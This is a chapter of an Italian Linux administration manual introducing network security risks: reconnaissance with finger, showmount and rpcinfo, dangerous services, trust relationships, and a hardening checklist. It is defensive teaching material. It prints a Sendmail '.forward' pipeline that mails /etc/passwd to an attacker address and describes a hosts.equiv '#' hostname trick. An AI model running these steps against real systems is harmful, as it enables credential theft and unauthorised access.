[inizio] [indice generale] [precedente] [successivo] [indice analitico] [contributi]


217. Introduzione ai problemi di sicurezza con la rete

Quando un sistema è collegato a una rete di grandi dimensioni (o direttamente a Internet) per la maggior parte del tempo, è soggetto ad aggressioni di ogni tipo. Chi amministra sistemi del genere ha il suo bel da fare a cercare di impedire l'accesso da parte di estranei non autorizzati, anche se spesso si ignora candidamente il problema.

Il problema della sicurezza dei sistemi in rete non ha una soluzione definitiva, ma solo delle regole indicative. Alle volte è sufficiente ignorare una carenza della versione particolare di un servizio che funziona presso un elaboratore, per lasciare una botola aperta a disposizione di qualcuno che ne conosce il trucco.

Si potrebbe discutere sulle qualità morali di chi passa il proprio tempo a studiare il modo migliore per danneggiare il suo prossimo, ma questo non serve poi a risolvere il problema.

Questo capitolo ha il solo scopo di introdurre il problema, mostrando anche qualche esempio di quali possano essere i punti deboli di un elaboratore collegato in rete. Non è intenzione dell'autore (che comunque non ne sarebbe in grado, data la sua scarsa preparazione) l'incoraggiare i lettori verso attività scorrette o illegali nei confronti di chiunque.

217.1 Problemi legali

Nel momento in cui si piazza in rete un proprio elaboratore, rendendolo accessibile al pubblico, si assumono delle responsabilità. In particolare, a proposito del problema della sicurezza, altri sistemi potrebbero risultare danneggiati da un attacco condotto con successo ai danni del proprio. Quindi, la cosa non può essere ignorata, anche quando per se stessi potrebbe non essere importante.

Quando un sistema viene attaccato, e l'aggressore riesce nel suo intendo, non si può dire a cosa gli servirà, ma si possono immaginare quante cose terribili potrebbero essere ottenute a nome di quell'elaboratore, e quindi del suo amministratore. Giusto a titolo di esempio, si può considerare che questo potrebbe servire: a inviare messaggi non desiderabili (spam); a ottenere accesso alle informazioni contenute nell'elaboratore; a modificarle per qualche fine; ad annusare la rete circostante alla ricerca di informazioni utili ad accedere agli elaboratori che si trovano in prossimità di quello già compromesso; oppure, più in generale, a coprire altre azioni di attacco verso altri sistemi estranei, usando il primo come copertura.

Con questo scenario, si comprende che la cosa più grave che deriva da un sistema compromesso è il rischio per il suo amministratore di essere coinvolto nell'attività illegale di qualcun altro. Pertanto, quando ci si dovesse accorgere di questo, se possibile, sarebbe opportuno staccare fisicamente tale elaboratore dalla rete, avvisare le altre persone coinvolte nell'amministrazione degli elaboratori della stessa rete locale (o che comunque hanno una qualche relazione con quello compromesso), e tenere traccia in un registro fisico dell'accaduto, e delle misure prese come conseguenza.

La necessità di annotare l'accaduto e le operazioni compiute deriva dalla possibilità di essere coinvolti in un procedimento giudiziario da parte di chi dovesse essere stato danneggiato dall'attività di questo ignoto.

Nello stesso modo in cui si può essere accusati ingiustamente di attività criminali compiute da altri, si rischia di accusare degli innocenti quando si cerca di determinare l'origine di un attacco. È importante tenere conto che se il sistema è stato compromesso, anche i file delle registrazioni possono esserlo, e comunque, l'attacco potrebbe essere giunto attraverso un sistema già compromesso in precedenza, all'insaputa del suo amministratore.

217.2 Informazioni: la prima debolezza

I servizi offerti da un sistema connesso in rete offrono una serie di informazioni, necessarie a compiere tali servizi. Queste informazioni sono la base di partenza di qualunque possibile attacco. Per comprendere l'importanza di ciò, occorre tentare di ragionare nello stesso modo dell'ipotetico aggressore.

La conseguenza normale della presa di coscienza di questo lato del problema è la tendenza alla riduzione dei servizi, in modo da limitare le notizie disponibili all'esterno.

Gli esempi che vengono mostrati, possono essere usati tranquillamente contro macchine di cui si ha l'amministrazione (e quindi la responsabilità). Se però si tenta di scoprire le debolezze di qualche altro sistema, anche se si crede di agire in buona fede, questo comportamento può essere individuato e considerato un tentativo di attacco reale.

217.2.1 Finger

Il protocollo Finger è la fonte primaria di informazioni per chi vuole tentare un attacco a un sistema, e in questa ottica va valutata la possibilità di escludere tale servizio dalla rete (il demone `fingerd').

Finger permette di conoscere chi è connesso al sistema e cosa sta facendo.

bruto@krampus:~$ finger @vittima.brot.dg[Invio]

[vittima.brot.dg]

Welcome to Linux version 2.0.35 at vittima.brot.dg !

 12:07pm  up  4:22,  1 users,  load average: 0.00, 0.00, 0.00

Login     Name      Tty  Idle  Login Time   Office     Office Phone
daniele             *6   4:21  Sep 30 07:45

Già questo permette di sapere il tipo di kernel utilizzato e le informazioni uptime (evidentemente l'elaboratore della vittima ha avviato il demone `fingerd' con l'opzione `-w'). Inoltre, in questo caso appare un solo utente connesso che sta svolgendo un lavoro con un programma da ben 4 ore e 21 minuti, senza osservare il sistema in alcun modo.

L'informazione sull'utilizzo del sistema è importante per l'aggressore, che può determinare quando agire in modo da non essere scoperto.

L'aggressore potrebbe poi tentare un'interrogazione dell'elenco degli utenti, utilizzando l'esperienza delle consuetudini comuni. Così facendo potrebbe scoprire un utente di sistema mal configurato, per esempio `nobody', oppure un utente di prova lasciato lì, o comunque un'utenza inutilizzata per qualche motivo.

bruto@krampus:~$ finger root@vittima.brot.dg

Login: root           			Name: root
Directory: /root                    	Shell: /bin/bash
Last login Thu Sep 30 8:34 (CEST) on ttyp1
	from dinkel.brot.dg.1.168.192.in-addr.arpa
...

Tanto per cominciare, in questo esempio si vede che l'utente `root' può accedere da un elaboratore della rete locale, e così se ne conosce anche la presenza e il nome: `dinkel.brot.dg'.

bruto@krampus:~$ finger nobody@vittima.brot.dg

Login: nobody         			Name: Nobody
Directory: /tmp                        	Shell: /bin/sh
Never logged in.
...

In questo caso, si nota che l'utente `nobody' è stato configurato male. infatti, la directory personale di questo utente di sistema, dal momento che esiste una shell presumibilmente valida, non può essere `/tmp/'. Chiunque possa avere accesso a tale directory, cioè ogni utente, potrebbe inserirvi dei file di configurazione allo scopo di abilitare una connessione esterna senza la richiesta di una password (verrà descritto più avanti l'uso possibile di file come `.rhosts' e `.shosts').

bruto@krampus:~$ finger pippo@vittima.brot.dg

Login: pippo       			Name: (null)
Directory: /home/pippo           	Shell: /bin/bash
Last login Thu Jan 1 10:18 (CET) on tty2

La scoperta di un utente che non accede da molto tempo, permette all'aggressore di concentrare la sua attenzione su questo per tentare di impadronirsene. Di solito si tratta di utenti creati solo per fare qualche prova (`pippo', `prova', `guest', `backdoor',...) e poi lasciati lì e dimenticati. Niente di meglio quindi, considerato che spesso questi hanno delle password banali e individuabili facilmente.

217.2.2 NFS

La condivisione del filesystem attraverso il protocollo NFS può essere verificata facilmente attraverso un comando come `showmount'. La conoscenza delle porzioni condivise del filesystem aggiunge un tassello in più alle informazioni che può raccogliere l'ipotetico aggressore.

bruto@krampus:~$ /usr/sbin/showmount -e vittima.brot.dg

Export list for vittima.brot.dg:
/         *.brot.dg,*.mehl.dg,*.plip.dg
/tftpboot *.brot.dg,*.mehl.dg,*.plip.dg
/home     *.brot.dg,*.mehl.dg,*.plip.dg
/mnt      *.brot.dg,*.mehl.dg,*.plip.dg
/opt      *.brot.dg,*.mehl.dg,*.plip.dg
/usr      *.brot.dg,*.mehl.dg,*.plip.dg

Per quanto riguarda questo servizio, l'amministratore di `vittima.brot.dg' è stato abbastanza accurato, tranne per il fatto di avere concesso l'esportazione della directory radice per intero. Il fatto di avere limitato l'accessibilità a domini determinati (presumibilmente componenti la rete locale su cui è inserito tale elaboratore) non è una garanzia sufficiente. Chi dovesse riuscire a ottenere un accesso presso una macchina di questa rete, potrebbe sfruttare questa occasione.

È importante ribadire la pericolosità dell'esportazione di una directory radice. Se un ipotetico aggressore dovesse conoscere un difetto del servente NFS che gli potesse permettere di accedere, anche se formalmente non ne risulta autorizzato, il danno sarebbe enorme.

Si osservi l'esportazione della directory `/home/'; di sicuro viene concessa anche la scrittura. Se l'ipotetico aggressore fosse in grado di montare questa directory nel suo sistema, gli sarebbe facile inserire file di configurazione come `.rhosts' (`rsh') e `.shosts' (`ssh'), per autorizzarsi l'accesso in qualità di quell'utente (anche senza l'utilizzo di alcuna password).

Da quanto detto, è importante osservare che sarebbe meglio esportare directory in lettura/scrittura solo a clienti indicati in modo preciso, e non a tutta una rete o sottorete. In tutti gli altri casi, dove possibile, sarebbe meglio esportare solo in lettura.

217.2.3 Servizi RPC

Un'altra fonte di informazioni molto importante è data dai servizi RPC, attraverso il portmapper. Basta usare `rpcinfo' per sapere quali servizi RPC sono offerti da un certo servente. Si osservi l'esempio seguente:

bruto@krampus:~$ rpcinfo -p vittima.brot.dg

   program vers proto   port
    100000    2   tcp    111  rpcbind
    100000    2   udp    111  rpcbind
    100005    1   udp    635  mountd
    100005    2   udp    635  mountd
    100005    1   tcp    635  mountd
    100005    2   tcp    635  mountd
    100003    2   udp   2049  nfs
    100003    2   tcp   2049  nfs

In questo caso non c'è molto da sfruttare. In pratica è disponibile solo il servizio NFS. Però, in altre situazioni si può scoprire la presenza di NIS (YP) o di altri servizi più insidiosi.

217.2.4 DNS

Il servizio DNS permette di fornire molte informazioni, spesso inutili. Sarebbe il caso di limitarsi alla configurazione necessaria alla risoluzione corretta dei nomi e degli indirizzi, senza aggiungere altre notizie.

Per ottenere tutte le informazioni offerte da un servente DNS determinato, si può usare `nslookup' con l'opzione `-q=any'. L'esempio seguente verifica le informazioni riferite al dominio `unipg.it', e come si può vedere dal risultato non ci sono informazioni superflue.

nslookup -q=any unipg.it[Invio]

Non-authoritative answer:
unipg.it	nameserver = teseo.unipg.it
unipg.it	nameserver = dedalo.unipg.it
unipg.it	nameserver = giannutri.caspur.it
unipg.it	nameserver = dns2.nic.it
unipg.it	preference = 20, mail exchanger = euliste.krenet.it
unipg.it	preference = 50, mail exchanger = ipguniv.unipg.it
unipg.it	preference = 10, mail exchanger = egeo.unipg.it

Authoritative answers can be found from:
unipg.it	nameserver = teseo.unipg.it
unipg.it	nameserver = dedalo.unipg.it
unipg.it	nameserver = giannutri.caspur.it
unipg.it	nameserver = dns2.nic.it
teseo.unipg.it	internet address = 141.250.1.7
dedalo.unipg.it	internet address = 141.250.1.6
giannutri.caspur.it	internet address = 193.204.5.35
dns2.nic.it	internet address = 193.205.245.8
euliste.krenet.it	internet address = 194.143.128.33
ipguniv.unipg.it	internet address = 141.250.1.1
egeo.unipg.it	internet address = 141.250.1.4

217.3 Errori comuni di configurazione

Gli errori di configurazione dei servizi sono il metodo più comune attraverso cui si consente l'aggressione del proprio sistema. In questo caso, non ci sono sistemi sicuri che tengano, a meno che il servizio stesso sia stato predisposto per impedire delle «castronerie».

217.3.1 FTP anonimo

Il servizio FTP anonimo si basa sulla definizione di un utente di sistema, `ftp', e della relativa directory personale (home), `~ftp/'. L'utente che accede in modo normale vede un filesystem ridotto, dove la radice corrisponde alla directory `~ftp/'.

All'interno di questo piccolo mondo ci sono dei programmi di utilità, delle librerie e dei file di configurazione, tra cui in particolare anche il file `~ftp/etc/passwd'. Questo file non deve essere la copia di `/etc/passwd', altrimenti si rischierebbe di mettere in condizione l'utente anonimo di leggere le password cifrate: un aggressore sarebbe in grado di scoprire le password reali degli utenti. A dire il vero, questa directory `~ftp/etc/' dovrebbe impedire la lettura del suo contenuto (0111), ma questo serve solo a non fare conoscere quali file sono contenuti, e tutti sanno che c'è il file `~ftp/etc/passwd'.

Inoltre, il fatto di lasciare il permesso di scrittura alla directory `~ftp/' può essere altrettanto insidioso. Un utente anonimo potrebbe mettere lì un file `.forward' creato appositamente per i suoi scopi. Nell'esempio seguente si mostra in che modo sia possibile per un aggressore il farsi spedire via posta elettronica il contenuto del file `/etc/passwd' reale del sistema. *1*

  1. L'aggressore potrebbe creare un file per il forward (la prosecuzione dei messaggi) contenente un comando, cosa consentita da Sendmail. In pratica, si potrebbe trattare del contenuto seguente:

    "|/bin/mail bruto@krampus.mehl.dg < /etc/passwd"
    

    Come si vede, si tratta di una pipeline con cui si avvia `mail' per inviare il file `/etc/passwd' all'indirizzo `bruto@krampus.mehl.dg'.

  2. Questo file dovrebbe essere inviato nella directory principale del servizio FTP della vittima, nominandolo `.forward', e questo può essere fatto se quella directory risulta scrivibile.

  3. Da quel momento, è sufficiente inviare un messaggio di posta elettronica qualunque all'indirizzo `ftp@vittima.brot.dg' perché `bruto@krampus.mehl.dg' riceva quel file delle password.

È molto probabile che per l'aggressore non sia poi tanto facile cancellare le tracce lasciate, e ciò è soltanto un bene. Tuttavia questa è la dimostrazione di cosa può fare una configurazione errata di tale servizio.

217.3.2 Accesso remoto

Il servizio offerto dai demoni `rlogind' e `rshd' è pericoloso per la sua sola presenza, in quanto un aggressore potrebbe utilizzare un difetto in un altro servizio per configurare con successo un proprio accesso utilizzando un utente già esistente. Oltre a questo, una configurazione errata potrebbe consentire un accesso indiscriminato.

La configurazione avviene attraverso due file possibili: `/etc/hosts.equiv' e `~/.rhosts' (quest'ultimo nella directory personale degli utenti che ne vogliono usufruire).

Finché in questi file appaiono solo nomi di nodi a cui viene concesso di accedere, i pericoli sono limitati (si fa per dire): ogni utente accede al servente senza l'indicazione della password, ma è almeno costretto a utilizzare lo stesso nominativo-utente. Se però si aggiungono anche i nomi di utenti che possono accedere dall'esterno, se questo viene fatto nel file `/etc/hosts.equiv', si concede loro di assumere la personalità di qualunque altro utente di quel sistema, eccetto (normalmente) l'utente `root'.

dinkel.brot.dg
roggen.brot.dg
dinkel.brot.dg tizio
dinkel.brot.dg caio

Se quello che si vede è il contenuto del file `/etc/hosts.equiv', gli utenti `tizio' e `caio' del cliente `dinkel.brot.dg' possono accedere come gli pare.

tizio@dinkel:~$ rsh -l pippo vittima.brot.dg ...

L'esempio mostra l'utente `tizio' che accede all'elaboratore `vittima.brot.dg', utilizzando lì il nominativo-utente `pippo', senza dover indicare alcuna password.

Questi file non prevedono l'indicazione di commenti. Se viene utilizzato il simbolo `#', può sembrare che questo funzioni regolarmente come un commento, però, se a un aggressore fosse possibile introdurre nel sistema DNS un nodo denominato proprio «#», e fare in modo che corrisponda a un suo indirizzo IP di comodo, ecco che quel commento servirebbe solo ad aggiungere un nuovo accesso senza password.

217.4 Servizi e programmi pericolosi per loro natura

Alcuni servizi, e tra questi anche solo alcuni programmi, sono pericolosi per loro natura, e se devono essere utilizzati è necessario che ciò avvenga su macchine di una rete locale ben protetta dalla rete esterna.

217.4.1 Trivial FTP

Il protocollo TFTP viene usato normalmente per consentire ai sistemi senza disco (diskless) di avviarsi. Per questo, normalmente, viene permesso l'accesso alla directory `/tftpboot/' nel servente, all'interno della quale si articolano le varie directory specifiche di ogni cliente che deve potersi connettere.

Tra queste directory c'è sicuramente `/tftpboot/<indirizzo-IP>/etc/', contenente la configurazione particolare di un certo cliente. È chiaro che un aggressore potrebbe avere accesso facilmente a tale file, con il quale potrebbe tentare di decifrare le password degli utenti di quel sistema senza disco.

Il problema diventa più grave quando i file `passwd' e `group' sono comuni a tutti i clienti, e al limite anche al servente stesso. Infatti, spesso, per semplificare le cose, si utilizzano dei collegamenti fisici per questo scopo.

Ancora più grave diventa il problema se il servizio è configurato in modo da consentire l'accesso a partire dalla directory radice del servente, cosa che si ottiene con la riga seguente nel file `/etc/inetd.conf'.

tftp	dgram	udp	wait	root	/usr/sbin/tcpd	in.tftpd /

217.4.2 NIS

La presenza di un servizio NIS viene scoperta facilmente attraverso un'interrogazione RPC, con il comando `rpcinfo -p'. L'unica «difesa» che ha il servizio NIS è quella di utilizzare un dominio NIS non intuibile; diversamente, chiunque ne sia a conoscenza può utilizzare il servizio.

Le ultime versioni del NIS utilizzato con GNU/Linux, riconoscono i file `/etc/hosts.allow' e `/etc/hosts.deny', cosa che dovrebbe limitare questo problema di accessibilità. Tuttavia, non bisogna dimenticare che i pericoli si corrono anche all'interno della propria rete locale, quella per la quale si concede normalmente l'utilizzo di tale servizio.

A parte queste considerazioni, il tipo di NIS che si utilizza normalmente fa viaggiare nella rete tutte le informazioni che amministra, comprese le password cifrate degli utenti. Un aggressore che avesse modo di analizzare la rete su cui viaggiano questi dati, potrebbe trarne vantaggio.

Un'altra cosa da considerare è che le informazioni amministrate dal NIS vengono collocate nella directory `/var/yp/<dominio-NIS>/'. Se un aggressore dovesse riuscire a leggere tali directory, verrebbe immediatamente a conoscenza del nome del dominio NIS, e poi, analizzando il contenuto dei vari file, potrebbe estrarre tutte le informazioni che gli servono sugli utenti. Quello che si vuole dire con questo è che non deve sfuggire l'esportazione della directory `/var/' attraverso il servizio NFS, perché sarebbe come esportare la directory `/etc/' stessa.

217.4.3 X

Il sistema grafico X è in grado di connettere i dispositivi che compongono la stazione grafica (tastiera, mouse e schermo), attraverso la rete. Questo si traduce nella possibilità per gli utenti di avviare un programma in un elaboratore diverso dal proprio, e di gestirne il funzionamento attraverso il proprio schermo grafico. Evidentemente, questo significa che vengono fatte viaggiare attraverso la rete informazioni potenzialmente delicate, esattamente come se si usasse una shell remota non cifrata.

In generale, sarebbe opportuno impedire qualunque interazione tra gli elaboratori per ciò che riguarda X. Inoltre, bisognerebbe vietarne l'utilizzo incontrollato, impedendo il transito di questo protocollo attraverso i router.

217.4.4 Sendmail

Sendmail è considerato generalmente un servente SMTP fragile dal punto di vista della sicurezza. Sendmail è stato progettato originalmente con una filosofia di massima prestazione e configurabilità, trascurando aspetti della sicurezza che si sono presentati con il tempo.

Uno dei maggiori problemi di Sendmail è legato alla possibilità di avere un destinatario rappresentato da un file o da una pipeline. Questo può essere utile nel file `/etc/aliases' o nel file `~/.forward' di ogni utente, per creare un archivio di messaggi, per gestire una lista di posta elettronica, o per filtrare i messaggi attraverso programmi specifici.

È già stato descritto come potrebbe essere sfruttato il file `~/.forward' da parte di un aggressore che sia in grado di creare o di aprire questo file in scrittura nella directory di un utente: inviando un messaggio all'indirizzo di quell'utente potrebbe ottenere l'avvio di un comando definito in una pipeline.

In passato, si sono evidenziate diverse tecniche che sfruttavano questo meccanismo, magari semplicemente mettendo dei comandi al posto dei destinatari dei messaggi. Attualmente questi problemi sono conosciuti, e le versioni più recenti di Sendmail non dovrebbero consentire più questi trucchi. Fidarsi è bene,... ma in generale Sendmail è classificabile come un programma potenzialmente pericoloso.

A quanto detto si aggiunga l'estrema difficoltà nella sua configurazione, cosa che costringe generalmente a mantenere ciò che è stato definito da altri. Un errore in questa configurazione, fatto da chiunque, potrebbe permette a qualcuno di sfruttare Sendmail per scopi indesiderabili; al limite solo per la diffusione di spam.

217.4.5 Linuxconf

Recentemente è apparso un pacchetto specifico per GNU/Linux, il cui scopo è quello di facilitare e centralizzare la configurazione dei vari sistemi. Si tratta di Linuxconf.

A parte ogni considerazione sulla validità di questo strumento, dal momento che si tratta di qualcosa di nuovo, è ancora tutta da verificare la sua affidabilità nei confronti della sicurezza. Un aggressore ben preparato potrebbe sfruttare questo protocollo per cambiare la configurazione della sua vittima, in modo da garantirsi un accesso.

A meno che l'elaboratore in cui si utilizza Linuxconf sia isolato, conviene commentare la riga seguente dal file `/etc/inetd.conf' e fare a meno di installare il pacchetto.

#linuxconf stream tcp wait root /bin/linuxconf linuxconf --http

217.5 Fiducia e interdipendenza tra i sistemi

Lo studio sui problemi di sicurezza riferiti a un nodo particolare, non può limitarsi all'ambito di quell'elaboratore; deve includere anche l'ambiente circostante, ovvero gli altri elaboratori dai quali può dipendere per determinati servizi, oppure dai quali può accettare accessi senza autenticazione.

L'aggressione a uno di questi sistemi pregiudica conseguentemente tutti quelli che ne dipendono.

217.5.1 Fiducia incondizionata

Si può parlare di «fiducia incondizionata» quando si concede ad altri elaboratori l'accesso, o l'utilizzo di determinati servizi, senza alcuna forma di controllo che non sia la pura determinazione del nome di questi (il nome di dominio) o del numero IP, mentre in condizioni normali sarebbe necessaria almeno l'indicazione di una password.

Il caso limite di fiducia incondizionata è dato dalla configurazione dei servizi di accesso remoto tramite `rlogin' o `rsh', in modo tale da non richiedere alcuna password. Nello stesso modo va visto il servizio NFS, e la concentrazione amministrativa del NIS.

Quando la fiducia si basa sul semplice riconoscimento del nome del cliente, il punto debole di questo rapporto sta nella gestione dei servizi che si occupano di risolvere questi nomi in indirizzi IP: DNS o NIS. L'aggressore che dovesse essere in grado di prendere il controllo dei sistemi che si occupano di questi servizi, avrebbe la possibilità di modificarli per i suoi scopi. La cosa diventa ancora più grave quando la gestione di questi servizi (DNS) è esterna all'ambiente controllato dall'amministratore che utilizza questo sistema di fiducia.

Eventualmente, questi rapporti di fiducia possono essere basati, piuttosto che sui nomi, sugli indirizzi IP. Questo servirebbe a ridurre i rischi, ma non a sufficienza: se il transito (il routing) non è completamente sotto controllo, qualcuno potrebbe dirottare gli instradamenti a suo vantaggio.

217.5.2 Chiavi di identificazione

Per ridurre i rischi dovuti all'uso della fiducia incondizionata, si possono proteggere alcuni servizi attraverso l'uso di chiavi di riconoscimento (come nel caso di Secure Shell), con cui il servente può identificare il cliente, e lo stesso cliente può verificare che il servente sia effettivamente la macchina che si intende contattare.

Il meccanismo si basa sulla definizione di una coppia di chiavi: la chiave privata e la chiave pubblica. L'elaboratore «A» crea una coppia di chiavi che userà per certificare la propria identità: la chiave privata non viene divulgata e gli servirà per generare di volta in volta la prova della propria identità, la chiave pubblica viene fornita a tutti gli altri elaboratori che hanno la necessità di verificare l'identità di «A». Quando due elaboratori vogliono potersi identificare a vicenda, entrambi devono essersi scambiati la rispettiva chiave pubblica.

217.5.3 Cifratura delle comunicazioni

Quando esiste un reticolo di fiducia reciproca tra diversi nodi, anche se questi possono avere un sistema sicuro di identificazione, resta il problema del transito dei dati lungo la rete, che potrebbero essere intercettati da un aggressore. Infatti, non bisogna trascurare la possibilità che qualcuno riesca a introdursi fisicamente nella rete locale (anche se apparentemente sicura), introducendo un piccolo elaboratore, nascosto opportunamente, con lo scopo di registrare tutte le transazioni, da cui trarre poi informazioni importanti (quali per esempio le password utilizzate per l'accesso remoto).

A questo si può porre rimedio solo con un buon sistema di cifratura, come avviene attraverso Secure Shell. Tuttavia, il problema rimane per tutti quei servizi per i quali non è prevista questa possibilità.

217.6 Backdoor: cosa ci si può attendere da un sistema compromesso

Le porte posteriori, o le botole, o backdoor, sono delle anomalie «naturali», o create ad arte, per permettere a qualcuno di accedere o utilizzare servizi in modo riservato. In pratica, è l'equivalente di un passaggio segreto, sconosciuto al proprietario del castello, attraverso il quale altri possono entrare quando vogliono senza essere notati.

Un aggressore che sia riuscito ad accedere in qualche modo a un sistema, potrebbe prendersi la briga di consolidare la posizione raggiunta ritoccando la configurazione o sostituendo gli eseguibili di alcuni servizi, allo scopo di garantirsi un accesso privilegiato, possibilmente invisibile attraverso i mezzi normali.

Attraverso Internet è possibile procurarsi pacchetti di programmi modificati ad arte per ottenere tali scopi. Quindi, il problema è più serio di quanto si possa immaginare a prima vista.

217.7 Regole dettate dal buon senso

La soluzione assoluta che garantisca la sicurezza dei sistemi connessi in rete non esiste. Tuttavia si possono tenere a mente alcune regole elementari, dettate dal buon senso. L'elenco di suggerimenti che appare di seguito, è ispirato in modo particolare da Improving the Security of Your Site by Breaking Into it di Dan Farmer e Wietse Venema.

217.8 Lista di spunta

Oltre che tenere a mente le regole dettate dal buon senso per cercare di evitare problemi nella sicurezza dei sistemi amministrati, si potrebbe pensare alla definizione di un comportamento standard, verificabile attraverso una lista di spunta, come si fa di solito nei paesi di lingua inglese (checklist). Nel documento Improving the security of your UNIX system, viene proposta un'appendice con un esempio di una tale lista, a cui si ispira quella seguente.

È chiaro che ogni amministratore deve decidere la propria strategia, in funzione delle esigenze e della sua personale propensione al rischio. Con l'esempio seguente, si vuole solo invitare a predisporre la propria lista di spunta personale.

Sicurezza delle utenze

  • Definizione delle regole imposte agli utenti riferite alle password.

  • Verifica delle password rispetto a scelte ovvie.

  • Definizione della scadenza di ogni utenza.

  • Eliminazione di utenti generici (come il tipico utente `guest').

  • Verifica che tutti gli utenti abbiano una password, o siano disabilitate attraverso un asterisco nel campo corrispondente.

  • Verifica che tutti gli utenti di sistema non possano essere utilizzati per accedere, per la presenza un asterisco nel campo della password.

  • Eliminazione delle utenze di gruppo.

Sicurezza della rete

  • Eliminazione del file `/etc/hosts.equiv'.

  • Eliminazione dei file `~/.rhosts' di ogni utente.

  • Verifica che il file `/etc/securetty' contenga solo dispositivi di console.

  • Verifica che l'esportazione NFS sia consentita solo a nodi indicati in modo preciso, possibilmente per numero IP.

  • Verifica dell'esportazione NFS minima indispensabile.

  • Verifica della versione di Sendmail.

  • Eliminazione del servizio Finger se non è indispensabile.

  • Verifica del corretto funzionamento del sistema di aggancio nelle connessioni seriali (non devono rimanere aperte le connessioni).

  • Impedire il transito del protocollo del sistema grafico X attraverso i router.

  • Impedire i forward di X attraverso Secure Shell.

Sicurezza del filesystem

  • Eliminazione dei bit SUID e SGID negli script di shell (anche se questo non dovrebbe causare problemi con GNU/Linux).

  • Verifica di tutti i programmi che hanno il bit SUID o SGID attivato, a meno di quelli che notoriamente devono avere questo privilegio.

  • Verifica della presenza del bit Sticky nelle directory che sono accessibili in scrittura da tutti gli utenti.

  • Verifica del valore della maschera dei permessi riferita alla configurazione dell'utente `root'.

  • Verifica dei permessi dei file di dispositivo.

Copie di sicurezza

  • Copia di sicurezza completa (livello zero) ogni mese.

  • Copia di sicurezza incrementale (livello uno) almeno ogni due settimane.

  • Utilizzo di sistemi di memorizzazione WORM, come i CD-R, per le copie di sicurezza di livello zero.

217.9 Riferimenti

---------------------------

Appunti Linux 2000.04.12 --- Copyright © 1997-2000 Daniele Giacomini --  daniele @ pluto.linux.it


1.) L'idea è tratta da Improving the Security of Your Site by Breaking Into it.


[inizio] [indice generale] [precedente] [successivo] [indice analitico] [contributi]